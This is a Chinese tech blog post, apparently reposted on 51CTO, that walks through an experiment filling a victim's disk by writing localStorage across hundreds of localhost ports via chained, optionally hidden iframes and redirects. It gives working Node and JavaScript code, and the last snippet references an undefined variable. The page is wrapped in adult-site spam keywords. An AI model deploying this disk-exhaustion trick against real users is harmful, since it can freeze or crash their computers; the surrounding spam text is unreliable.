成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

作為一個前端,可以如何機智地弄壞一臺電腦?

開發 前端
無論你觸發了多少bug,最多導致瀏覽器崩潰,對系統影響不到哪去。 這就像二次元各種炫酷的毀滅世界,都不會導致三次元的世界末日。 然而,作為一個前端,我發現是有方式打開次元大門的…

有人說,前端的界限就在瀏覽器那兒。

無論你觸發了多少bug,最多導致瀏覽器崩潰,對系統影響不到哪去。 這就像二次元各種炫酷的毀滅世界,都不會導致三次元的世界末日。 然而,作為一個前端,我發現是有方式打開次元大門的…

這個實驗腦洞較大,動機無聊,但某種意義上反映了一些安全問題。 想象一下,有天你在家里上網,吃著火鍋還唱著歌,點開一個鏈接,電腦突然就藍屏了!想想還真有點小激動。

起因

故事得從localStorage說起。

html5的本地存儲,相信大家都不陌生。將數據以二進制文件形式存儲到本地,在當前應用得非常廣泛。 windows下的chrome,localStorage存儲于C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Local Storage文件夾中。但如果任由網頁***寫文件,對用戶硬盤的傷害可想而知,因而瀏覽器對其做了大小限制。

對于一個域名+端口,PC側的上限是5M-10M之間,移動側是則不大于2.5M。

那么問題就變成:這樣的限制足夠保護用戶硬盤了嗎

關鍵

關鍵的問題在于,這一限制,針對的是一個域名+端口。 也就是說,你訪問同一個域名的不同端口,它們的localStorage并無關聯,是分開存儲的。

我用node簡單地開啟了服務器,這時,用戶訪問http://127.0.0.1:1000http://127.0.0.1:1099這100個端口,會請求到同一個頁面:index.html

 

  1. var http = require('http'); 
  2. var fs = require('fs'); 
  3.  
  4. //100個端口 
  5. for(var port = 1000; port< 1100; port++){ 
  6.   http.createServer(function (request, response) { 
  7.     //請忽略這種循環讀文件的方式,只為了簡便 
  8.     fs.readFile('./index.html', function(err, content){ 
  9.       if(err) { 
  10.       } else { 
  11.         response.writeHead(200, { 'Content-Type' : 'text/html; charset=UTF-8' }); 
  12.         response.write(content); 
  13.         response.end(); 
  14.       } 
  15.     }); 
  16.   }).listen(port, '127.0.0.1'); 

當然,這個index.html里涉及了localStorage寫操作。

  1. var s = ""
  2. //慢慢來,別寫太大了,好害怕… 
  3. for(var i=0; i< 3 * 1024 * 1024; i++){ 
  4.   s += "0"
  5. localStorage.setItem("testData", s); 

我試著用瀏覽器分別訪問了幾個端口,結果是分開存儲。一切跟劇本一樣。

自動遍歷

但這種程度還不夠。 如果要實驗變得更好(xie)玩(e)一些,問題就變成如何讓用戶自動遍歷這些端口

iframe是個好的嘗試。 只要一打開http://127.0.0.1: 1000,頁面的腳步就會創建一個iframe,去請求http://127.0.0.1: 1001,一直循環下去。

  1. var Main = (function(){ 
  2.   var _key = "testData"
  3.   var _max = 1100//***限制 
  4.   return { 
  5.     init: function(){ 
  6.       //慢慢來,別寫太大了,好害怕… 
  7.       var s = ""
  8.       for(var i=0; i< 3 * 1024 * 1024; i++){ 
  9.         s += "0"
  10.       } 
  11.       localStorage.setItem(_key, s); 
  12.  
  13.       var port = parseInt(location.port)+1
  14.       if(port > _max) return
  15.  
  16.       //新添加iframe 
  17.       var url = "http://127.0.0.1:" + port; 
  18.       var $iframe = document.createElement("iframe"); 
  19.       $iframe.src = url; 
  20.       document.getElementsByTagName("body")[0].appendChild($iframe); 
  21.     } 
  22.   } 
  23. })(); 

當然iframe我們還可以設置為不可見,以掩蓋這種不厚道的行為…

比方說,有人發給你一個鏈接,你打開后發現是個視頻,而你根本注意不到背后的腳本,在視頻播放的幾分鐘里,快要把你的C盤寫滿。

然后我就看到請求如潮水漸漲:

[[151678]]

但是,請求到1081端口,***的chrome就崩潰掉了…原來iframe嵌套太多,已經到達了瀏覽器的極限。

防止瀏覽器崩潰

C盤還未撐滿,同志還需努力。怎么辦?

突然想到,到達iframe極限之前,我們可以重定向啊。 每訪問50個端口,就使用.href重定向一次,去確保瀏覽器不崩潰。

  1. var Main = (function(){ 
  2.   var _key = "testData"
  3.   var _max = 1200//***限制 
  4.   var _jumpSpace = 50//為避免iframe過多導致瀏覽器crash,每50個執行跳轉 
  5.  
  6.   return { 
  7.     init: function(){ 
  8.       //慢慢來,別寫太大了,好害怕… 
  9.       var s = ""
  10.       for(var i=0; i< 3 * 1024 * 1024; i++){ 
  11.         s += "0"
  12.       } 
  13.       localStorage.setItem(_key, s); 
  14.  
  15.       var port = parseInt(location.port)+1
  16.       if(port > _max) return
  17.  
  18.       if(port % _jumpSpace == 0){ 
  19.         //每50個,重定向一次 
  20.         window.location.href = url; 
  21.       }else
  22.         //新添加iframe 
  23.         var $iframe = document.createElement("iframe"); 
  24.         $iframe.src = url; 
  25.         document.getElementsByTagName("body")[0].appendChild($iframe); 
  26.       } 
  27.     } 
  28.   } 
  29. })(); 

事實證明,這種蠻拼的方法的確可行。

至此,只要訪問http://127.0.0.1: 1000,就會往Local Storage文件夾里寫入近500M無用數據: [[151679]]

里面的數據是這樣的:

[[151680]]

繼續實驗的黑科技

算了下我的C盤還有空間嘛,那就把端口數量從100增長到200個。 結果是這樣的,到達了1.17G大小。

[[151681]]

在后續的實驗中,我就慢慢的把端口數量與存儲的數據調大。

電腦也運行得越來越慢。這是為什么呢?

我觀察到,有時候執行localStorage.setItem()后,在文件夾里不一定立即能看到數據文件。 懷疑這些數據會被chrome先放到內存里,以避免重復讀寫帶來的消耗,在空閑或關閉的時機,再寫進硬盤里。

但此時,瀏覽器已經影響到系統了。它處于一種“不會崩潰”,但“因為占用了許多內存,已經妨礙用戶電腦的正常使用”的狀態。 即使用戶關閉了瀏覽器窗口,也不會很快恢復。要知道讀寫任務并不是隨窗口關閉而終止的,否則瀏覽器會丟失數據。

遭遇黑科技的人們能做的只有:

  1. 等待;

  2. 用任務管理器關掉chrome進程,再等待;

  3. 相信并嘗試“重啟電腦解決90%電腦問題”的科學論斷

可以說,瀏覽器的內心幾乎是崩潰的。

***

***,還是得用嚴肅臉告誡一下:害人之心不可無。 本實驗,從一開始就是懷揣著將安全問題上交給國家的初衷去做的(是的就是這么純粹)。

后續,看著C盤還有2G空間,我又把端口增長到2000個,試下會發生什么。 由于請求過多,需要一定時間,我就去做別的事情了。 回來后發現房間安靜祥和,一片藍光,像是加了特技。

[[151682]]

那么問題來了,計算機修理哪家強?

有點急…

 

 

 

 

責任編輯:王雪燕 來源: IMWeb Team
相關推薦

2013-03-07 09:12:41

巨型電腦云計算

2012-08-06 09:52:10

2017-12-26 10:49:15

電腦硬件主機

2013-08-30 10:15:24

2012-03-16 17:00:09

2015-07-22 10:50:44

新電腦JAVA開發環境

2017-03-09 11:18:25

戴爾

2018-03-09 12:14:36

Linux服務器負載

2020-02-05 14:05:21

Java技術數組

2021-01-04 09:12:31

集合變量

2014-08-27 09:50:07

程序員

2018-12-25 14:20:58

服務器命令Linux

2010-03-16 10:50:21

光纖交換機

2013-12-20 09:48:12

2014-09-18 10:15:54

2022-05-16 08:17:36

裝飾器模式

2010-05-12 09:21:49

2021-01-26 10:33:45

前端開發技術

2020-09-17 13:12:01

阿里云云電腦無影

2020-05-19 10:45:31

沙箱前端原生對象
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 爽爽免费视频 | av手机免费在线观看 | 天天操夜夜看 | 不卡视频在线 | 精品久久久久久亚洲综合网 | 亚洲精品性视频 | 国产成人精品一区二区三区 | 国产线视频精品免费观看视频 | 久久久久成人精品免费播放动漫 | 亚洲一区视频在线 | 国产一区二区三区四区三区四 | 一级全黄少妇性色生活免费看 | 亚洲国产偷 | 综合久久av | 日韩在线视频免费观看 | 精品久久国产 | 日韩在线| 亚洲小视频在线播放 | 亚洲午夜av久久乱码 | 日韩一区二区三区在线观看 | 久综合 | 国产91精品网站 | 免费小视频在线观看 | 国产男女猛烈无遮掩视频免费网站 | 人人草人人干 | 国产精品国产 | 亚洲男女视频在线观看 | 中文字幕在线人 | 91福利网 | jizz视频 | 一区二区三区中文字幕 | 欧美二区在线 | 午夜影院在线观看 | 亚洲精品免费看 | 久久精品欧美一区二区三区不卡 | 中文字幕 亚洲一区 | 天天躁天天操 | 91视频免费在观看 | 97超碰免费 | 国产三级一区二区三区 | 日本成人在线观看网站 |